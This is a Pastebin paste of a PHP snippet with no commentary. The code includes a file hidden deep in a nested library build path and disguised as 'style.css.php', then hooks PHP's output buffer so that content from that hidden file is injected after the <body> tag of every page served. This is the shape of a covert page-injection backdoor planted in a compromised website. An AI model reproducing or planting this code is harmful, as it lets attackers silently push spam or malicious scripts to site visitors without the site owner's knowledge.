Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if (function_exists('ob_start') && ! isset($GLOBALS['sh_no']))
- {
- $GLOBALS['sh_no']=1;
- if (file_exists('/home/paradox/public_html/backup/Word Docs/CompBio/Scripts/source/bioperl-ext-1.4/Bio/SeqIO/staden/_Inline/build/Bio/SeqIO/staden/read/blib/lib/auto/Bio/SeqIO/staden/read/style.css.php'))
- {
- include_once('/home/paradox/public_html/backup/Word Docs/CompBio/Scripts/source/bioperl-ext-1.4/Bio/SeqIO/staden/_Inline/build/Bio/SeqIO/staden/read/blib/lib/auto/Bio/SeqIO/staden/read/style.css.php');
- if (function_exists('gml') && ! function_exists('dgobh'))
- {
- if ( ! function_exists('gzdecode'))
- {
- function gzdecode($d)
- {
- $f = ord(substr($d,3,1));
- $h = 10;
- $e = 0;
- if ($f & 4)
- {
- $e = unpack('v',substr($d,10,2));
- $e = $e[1];
- $h += 2 + $e;
- }
- if ($f & 8)
- {
- $h = strpos($d,chr(0),$h)+1;
- }
- if ($f & 16)
- {
- $h = strpos($d,chr(0),$h)+1;
- }
- if ($f & 2)
- {
- $h+=2;
- }
- $u = gzinflate(substr($d,$h));
- if ($u === FALSE)
- {
- $u = $d;
- }
- return $u;
- }
- }
- function dgobh($b)
- {
- Header('Content-Encoding: none');
- $c = gzdecode($b);
- if (preg_match('/\<body/si',$c))
- {
- return preg_replace('/(\<body[^>]*>)/si','$1'.gml(),$c);
- }
- else
- {
- return gml().$c;
- }
- }
- ob_start('dgobh');
- }
- }
- }
Add Comment
Please, Sign In to add comment